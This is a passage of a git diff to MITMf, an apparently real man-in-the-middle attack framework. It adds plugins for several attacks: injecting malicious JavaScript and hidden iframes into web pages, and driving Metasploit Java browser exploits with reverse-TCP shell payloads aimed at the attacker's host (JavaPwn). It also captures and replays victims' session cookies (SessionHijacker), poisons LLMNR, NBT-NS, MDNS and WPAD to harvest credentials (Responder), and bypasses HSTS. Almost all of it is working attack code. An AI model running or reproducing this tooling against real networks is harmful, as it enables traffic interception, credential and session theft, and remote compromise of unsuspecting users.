temp.append(ip)
self.black_ips = temp
if self.options.preserve_cache:
self.implements.remove("handleHeader")
self.implements.remove("connectionMade")
@ -82,8 +70,8 @@ class Inject(CacheKill, Plugin):
#If you have MSF on another host, you may need to check prior to injection
#print "http://" + request.client.getRequestHostname() + request.uri
ip, hn, mime = self._get_req_info(request)
if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""):
if hn not in self.proxyip: #prevents recursive injecting
if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and (hn not in self.proxyip):
if (not self.js_src == self.html_src is not None or not self.html_payload == ""):
data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True
@ -95,39 +83,28 @@ class Inject(CacheKill, Plugin):
def _get_payload(self):
return self._get_js() + self._get_iframe() + self.html_payload
def add_options(self, options):
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.")
options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.")
options.add_argument("--match-str", type=str, default="</body>", help="String you would like to match and place your payload before. (</body> by default)")
options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
group = options.add_mutually_exclusive_group(required=False)
group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.")
group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.")
group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.")
group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips")
group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips")
def _should_inject(self, ip, hn, mime):
def _ip_filter(self, ip):
if self.white_ips is not None:
if ip in self.white_ips:
if ip in self.white_ips.split(','):
return True
else:
return False
if self.black_ips is not None:
if ip in self.black_ips:
if ip in self.black_ips.split(','):
return False
else:
return True
return True
def _should_inject(self, ip, hn, mime):
if self.count_limit == self.rate_limit is None and not self.per_domain:
return True
if self.count_limit is not None and self.count > self.count_limit:
#print "1"
return False
if self.rate_limit is not None:
@ -176,3 +153,17 @@ class Inject(CacheKill, Plugin):
data = re.sub(r, post[i][1]+"\g<match>", data)
return data
def add_options(self, options):
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.")
options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.")
options.add_argument("--match-str", type=str, default="</body>", help="String you would like to match and place your payload before. (</body> by default)")
options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
group = options.add_mutually_exclusive_group(required=False)
group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.")
group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.")
group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.")
group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips")
group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips")

231
plugins/JavaPwn.py Normal file
View file

@ -0,0 +1,231 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import string
import random
import threading
import sys
import logging
from time import sleep
from core.msfrpc import Msfrpc
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.BrowserProfiler import BrowserProfiler
mitmf_logger = logging.getLogger("mitmf")
class JavaPwn(BrowserProfiler, Plugin):
name = "JavaPwn"
optname = "javapwn"
desc = "Performs drive-by attacks on clients with out-of-date java browser plugins"
tree_output = []
version = "0.3"
has_opts = False
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.msfip = SystemConfig.getIP(options.interface)
try:
msfcfg = options.configfile['MITMf']['Metasploit']
except Exception, e:
sys.exit("[-] Error parsing Metasploit options in config file : {}".format(e))
try:
self.javacfg = options.configfile['JavaPwn']
except Exception, e:
sys.exit("[-] Error parsing config for JavaPwn: {}".format(e))
self.msfport = msfcfg['msfport']
self.rpcip = msfcfg['rpcip']
self.rpcpass = msfcfg['rpcpass']
#Initialize the BrowserProfiler plugin
BrowserProfiler.initialize(self, options)
self.black_ips = []
try:
self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
self.msf.login('msf', self.rpcpass)
version = self.msf.call('core.version')['version']
self.tree_output.append("Connected to Metasploit v{}".format(version))
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
def onConfigChange(self):
self.initialize(self.options)
def startThread(self, options):
self.pwn()
def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5))
def get_exploit(self, java_version):
exploits = []
client_vstring = java_version[:-len(java_version.split('.')[3])-1]
client_uversion = int(java_version.split('.')[3])
for ver in self.javacfg['Multi'].iteritems():
if type(ver[1]) is list:
for list_vers in ver[1]:
version_string = list_vers[:-len(list_vers.split('.')[3])-1]
update_version = int(list_vers.split('.')[3])
if ('*' in version_string[:1]) and (client_vstring == version_string[1:]):
if client_uversion == update_version:
exploits.append(ver[0])
elif (client_vstring == version_string):
if client_uversion <= update_version:
exploits.append(ver[0])
else:
version_string = ver[1][:-len(ver[1].split('.')[3])-1]
update_version = int(ver[1].split('.')[3])
if ('*' in version_string[:1]) and (client_vstring == version_string[1:]):
if client_uversion == update_version:
exploits.append(ver[0])
elif client_vstring == version_string:
if client_uversion <= update_version:
exploits.append(ver[0])
return exploits
def injectWait(self, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
#inject iframe
mitmf_logger.info("{} >> now injecting iframe to trigger exploit".format(client_ip))
self.html_payload = "<iframe src='http://{}:{}' height=0%% width=0%%></iframe>".format(self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
mitmf_logger.info('{} >> waiting for ze shellz, Please wait...'.format(client_ip))
exit = False
i = 1
while i <= 30: #wait max 60 seconds for a new shell
if exit:
break
shell = self.msf.call('session.list') #poll metasploit every 2 seconds for new sessions
if len(shell) > 0:
for k, v in shell.iteritems():
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
mitmf_logger.info("{} >> Got shell!".format(client_ip))
self.sploited_ips.append(client_ip) #target successfuly owned :)
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
exit = True
break
sleep(2)
i += 1
if exit is False: #We didn't get a shell :(
mitmf_logger.info("{} >> session not established after 30 seconds".format(client_ip))
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
def send_command(self, cmd, vic_ip):
try:
mitmf_logger.info("{} >> sending commands to metasploit".format(vic_ip))
#Create a virtual console
console_id = self.msf.call('console.create')['id']
#write the cmd to the newly created console
self.msf.call('console.write', [console_id, cmd])
mitmf_logger.info("{} >> commands sent succesfully".format(vic_ip))
except Exception, e:
mitmf_logger.info('{} >> Error accured while interacting with metasploit: {}:{}'.format(vic_ip, Exception, e))
def pwn(self):
self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit
while True:
if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled
brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format
if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited
vic_ip = brwprofile['ip']
mitmf_logger.info("{} >> client has java version {} installed! Proceeding...".format(vic_ip, brwprofile['java_version']))
mitmf_logger.info("{} >> Choosing exploit based on version string".format(vic_ip))
exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg
if exploits:
if len(exploits) > 1:
mitmf_logger.info("{} >> client is vulnerable to {} exploits!".format(vic_ip, len(exploits)))
exploit = random.choice(exploits)
mitmf_logger.info("{} >> choosing {}".format(vic_ip, exploit))
else:
mitmf_logger.info("{} >> client is vulnerable to {}!".format(vic_ip, exploits[0]))
exploit = exploits[0]
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
jobs = self.msf.call('job.list') #get running jobs
if len(jobs) > 0:
for k, v in jobs.iteritems():
info = self.msf.call('job.info', [k])
if exploit in info['name']:
mitmf_logger.info('{} >> {} already started'.format(vic_ip, exploit))
url = info['uripath'] #get the url assigned to the exploit
self.injectWait(self.msf, url, vic_ip)
else: #here we setup the exploit
rand_port = random.randint(1000, 65535) #generate a random port for the payload listener
rand_url = self.rand_url()
#generate the command string to send to the virtual console
#new line character very important as it simulates a user pressing enter
cmd = "use exploit/{}\n".format(exploit)
cmd += "set SRVPORT {}\n".format(self.msfport)
cmd += "set URIPATH {}\n".format(rand_url)
cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform
cmd += "set LHOST {}\n".format(self.msfip)
cmd += "set LPORT {}\n".format(rand_port)
cmd += "exploit -j\n"
mitmf_logger.debug("command string:\n{}".format(cmd))
self.send_command(cmd, vic_ip)
self.injectWait(rand_url, vic_ip)
else:
#this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert)
mitmf_logger.info("{} >> client is not vulnerable to any java exploit".format(vic_ip))
mitmf_logger.info("{} >> falling back to the signed applet attack".format(vic_ip))
rand_url = self.rand_url()
rand_port = random.randint(1000, 65535)
cmd = "use exploit/multi/browser/java_signed_applet\n"
cmd += "set SRVPORT {}\n".format(self.msfport)
cmd += "set URIPATH {}\n".format(rand_url)
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
cmd += "set LHOST {}\n".format(self.msfip)
cmd += "set LPORT {}\n".format(rand_port)
cmd += "exploit -j\n"
self.send_command(cmd, vic_ip)
self.injectWait(rand_url, vic_ip)
sleep(1)

View file

@ -17,10 +17,12 @@
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
from plugins.plugin import Plugin
from plugins.Inject import Inject
import logging
mitmf_logger = logging.getLogger("mitmf")
class jskeylogger(Inject, Plugin):
name = "Javascript Keylogger"

105
plugins/Replace.py Normal file
View file

@ -0,0 +1,105 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
"""
Plugin by @rubenthijssen
"""
import sys
import logging
import time
import re
from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill
mitmf_logger = logging.getLogger("mitmf")
class Replace(CacheKill, Plugin):
name = "Replace"
optname = "replace"
desc = "Replace arbitrary content in HTML content"
implements = ["handleResponse", "handleHeader", "connectionMade"]
depends = ["CacheKill"]
version = "0.1"
has_opts = True
def initialize(self, options):
self.options = options
self.search_str = options.search_str
self.replace_str = options.replace_str
self.regex_file = options.regex_file
if (self.search_str is None or self.search_str == "") and self.regex_file is None:
sys.exit("[-] Please provide a search string or a regex file")
self.regexes = []
if self.regex_file is not None:
for line in self.regex_file:
self.regexes.append(line.strip().split("\t"))
if self.options.keep_cache:
self.implements.remove("handleHeader")
self.implements.remove("connectionMade")
self.ctable = {}
self.dtable = {}
self.mime = "text/html"
def handleResponse(self, request, data):
ip, hn, mime = self._get_req_info(request)
if self._should_replace(ip, hn, mime):
if self.search_str is not None and self.search_str != "":
data = data.replace(self.search_str, self.replace_str)
mitmf_logger.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str))
# Did the user provide us with a regex file?
for regex in self.regexes:
try:
data = re.sub(regex[0], regex[1], data)
mitmf_logger.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
except Exception:
logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True
return {'request': request, 'data': data}
return
def add_options(self, options):
options.add_argument("--search-str", type=str, default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)")
options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.")
options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: <regex1>[tab]<regex2>[new-line]")
options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.")
def _should_replace(self, ip, hn, mime):
return mime.find(self.mime) != -1
def _get_req_info(self, request):
ip = request.client.getClientIP()
hn = request.client.getRequestHostname()
mime = request.client.headers['Content-Type']
return (ip, hn, mime)

View file

@ -19,18 +19,17 @@
#
import threading
import sys
from plugins.plugin import Plugin
from twisted.internet import reactor
from core.utils import SystemConfig
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
from core.responder.wpad.WPADPoisoner import WPADPoisoner
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner
from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter
from core.responder.wpad.WPADPoisoner import WPADPoisoner
from core.responder.kerberos.KERBServer import KERBServer
class Responder(Plugin):
name = "Responder"
@ -48,18 +47,47 @@ class Responder(Plugin):
try:
config = self.config['Responder']
smbChal = self.config['MITMf']['SMB']['Challenge']
except Exception, e:
sys.exit('[-] Error parsing config for Responder: ' + str(e))
LANFingerprinter().start(options)
MDNSPoisoner().start(options, self.ourip)
KERBServer().start()
NBTNSPoisoner().start(options, self.ourip)
LLMNRPoisoner().start(options, self.ourip)
if options.wpad:
from core.responder.wpad.WPADPoisoner import WPADPoisoner
WPADPoisoner().start(options)
if self.config["Responder"]["MSSQL"].lower() == "on":
from core.responder.mssql.MSSQLServer import MSSQLServer
MSSQLServer().start(smbChal)
if self.config["Responder"]["Kerberos"].lower() == "on":
from core.responder.kerberos.KERBServer import KERBServer
KERBServer().start()
if self.config["Responder"]["FTP"].lower() == "on":
from core.responder.ftp.FTPServer import FTPServer
FTPServer().start()
if self.config["Responder"]["POP"].lower() == "on":
from core.responder.pop3.POP3Server import POP3Server
POP3Server().start()
if self.config["Responder"]["SMTP"].lower() == "on":
from core.responder.smtp.SMTPServer import SMTPServer
SMTPServer().start()
if self.config["Responder"]["IMAP"].lower() == "on":
from core.responder.imap.IMAPServer import IMAPServer
IMAPServer().start()
if self.config["Responder"]["LDAP"].lower() == "on":
from core.responder.ldap.LDAPServer import LDAPServer
LDAPServer().start(smbChal)
if options.analyze:
self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")

51
plugins/SSLstrip+.py Normal file
View file

@ -0,0 +1,51 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import sys
import logging
from plugins.plugin import Plugin
from core.utils import IpTables
from core.sslstrip.URLMonitor import URLMonitor
from core.dnschef.DNSchef import DNSChef
class HSTSbypass(Plugin):
name = 'SSLstrip+'
optname = 'hsts'
desc = 'Enables SSLstrip+ for partial HSTS bypass'
version = "0.4"
tree_output = ["SSLstrip+ by Leonardo Nve running"]
has_opts = False
def initialize(self, options):
self.options = options
self.manualiptables = options.manualiptables
if not options.manualiptables:
if IpTables.getInstance().dns is False:
IpTables.getInstance().DNS(options.ip_address, self.config['MITMf']['DNS']['port'])
URLMonitor.getInstance().setHstsBypass()
DNSChef.getInstance().setHstsBypass()
def finish(self):
if not self.manualiptables:
if IpTables.getInstance().dns is True:
IpTables.getInstance().Flush()

187
plugins/SessionHijacker.py Normal file
View file

@ -0,0 +1,187 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
#Almost all of the Firefox related code was stolen from Firelamb https://github.com/sensepost/mana/tree/master/firelamb
import threading
import os
import sys
import time
import logging
import sqlite3
import json
import socket
from plugins.plugin import Plugin
from core.publicsuffix.publicsuffix import PublicSuffixList
from urlparse import urlparse
mitmf_logger = logging.getLogger("mitmf")
class SessionHijacker(Plugin):
name = "Session Hijacker"
optname = "hijack"
desc = "Performs session hijacking attacks against clients"
implements = ["cleanHeaders"] #["handleHeader"]
version = "0.1"
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.psl = PublicSuffixList()
self.firefox = options.firefox
self.mallory = options.mallory
self.save_dir = "./logs"
self.seen_hosts = {}
self.sql_conns = {}
self.sessions = []
self.html_header="<h2>Cookies sniffed for the following domains\n<hr>\n<br>"
#Recent versions of Firefox use "PRAGMA journal_mode=WAL" which requires
#SQLite version 3.7.0 or later. You won't be able to read the database files
#with SQLite version 3.6.23.1 or earlier. You'll get the "file is encrypted
#or is not a database" message.
sqlv = sqlite3.sqlite_version.split('.')
if (sqlv[0] <3 or sqlv[1] < 7):
sys.exit("[-] sqlite3 version 3.7 or greater required")
if not os.path.exists("./logs"):
os.makedirs("./logs")
if self.mallory:
t = threading.Thread(name='mallory_server', target=self.mallory_server, args=())
t.setDaemon(True)
t.start()
def cleanHeaders(self, request): # Client => Server
headers = request.getAllHeaders().copy()
client_ip = request.getClientIP()
if 'cookie' in headers:
if self.firefox:
url = "http://" + headers['host'] + request.getPathFromUri()
for cookie in headers['cookie'].split(';'):
eq = cookie.find("=")
cname = str(cookie)[0:eq].strip()
cvalue = str(cookie)[eq+1:].strip()
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
mitmf_logger.info("%s << Inserted cookie into firefox db" % client_ip)
if self.mallory:
if len(self.sessions) > 0:
temp = []
for session in self.sessions:
temp.append(session[0])
if headers['host'] not in temp:
self.sessions.append((headers['host'], headers['cookie']))
mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
mitmf_logger.info("%s Sent cookie to browser extension" % client_ip)
else:
self.sessions.append((headers['host'], headers['cookie']))
mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
mitmf_logger.info("%s Sent cookie to browser extension" % client_ip)
#def handleHeader(self, request, key, value): # Server => Client
# if 'set-cookie' in request.client.headers:
# cookie = request.client.headers['set-cookie']
# #host = request.client.headers['host'] #wtf????
# message = "%s Got server cookie: %s" % (request.client.getClientIP(), cookie)
# if self.urlMonitor.isClientLogging() is True:
# self.urlMonitor.writeClientLog(request.client, request.client.headers, message)
# else:
# mitmf_logger.info(message)
def mallory_server(self):
host = ''
port = 20666
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((host,port))
server.listen(1)
while True:
client, addr = server.accept()
if addr[0] != "127.0.0.1":
client.send("Hacked By China!")
client.close()
continue
request = client.recv(8192)
request = request.split('\n')
path = request[0].split()[1]
client.send("HTTP/1.0 200 OK\r\n")
client.send("Content-Type: text/html\r\n\r\n")
if path == "/":
client.send(json.dumps(self.sessions))
client.close()
def firefoxdb(self, host, cookie_name, cookie_value, url, ip):
session_dir=self.save_dir + "/" + ip
cookie_file=session_dir +'/cookies.sqlite'
cookie_file_exists = os.path.exists(cookie_file)
if (ip not in (self.sql_conns and os.listdir("./logs"))):
try:
if not os.path.exists(session_dir):
os.makedirs(session_dir)
db = sqlite3.connect(cookie_file, isolation_level=None)
self.sql_conns[ip] = db.cursor()
if not cookie_file_exists:
self.sql_conns[ip].execute("CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER, CONSTRAINT moz_uniqueid UNIQUE (name, host, path))")
self.sql_conns[ip].execute("CREATE INDEX moz_basedomain ON moz_cookies (baseDomain)")
except Exception, e:
print str(e)
scheme = urlparse(url).scheme
scheme = (urlparse(url).scheme)
basedomain = self.psl.get_public_suffix(host)
address = urlparse(url).hostname
short_url = scheme + "://"+ address
log = open(session_dir + '/visited.html','a')
if (ip not in self.seen_hosts):
self.seen_hosts[ip] = {}
log.write(self.html_header)
if (address not in self.seen_hosts[ip]):
self.seen_hosts[ip][address] = 1
log.write("\n<br>\n<a href='%s'>%s</a>" %(short_url, address))
log.close()
if address == basedomain:
address = "." + address
expire_date = 2000000000 #Year2033
now = int(time.time()) - 600
self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0))
def add_options(self, options):
options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies')
options.add_argument('--mallory', dest='mallory', action='store_true', default=False, help='Send cookies to the Mallory cookie injector browser extension')
def finish(self):
if self.firefox:
print "\n[*] To load a session run: 'firefox -profile <client-ip> logs/<client-ip>/visited.html'"

View file

@ -18,8 +18,6 @@
# USA
#
import logging
from sys import exit
from core.utils import SystemConfig, IpTables
from core.protocols.arp.ARPpoisoner import ARPpoisoner

View file

@ -23,6 +23,8 @@ from cStringIO import StringIO
from plugins.plugin import Plugin
from PIL import Image
mitmf_logger = logging.getLogger("mitmf")
class Upsidedownternet(Plugin):
name = "Upsidedownternet"
optname = "upsidedownternet"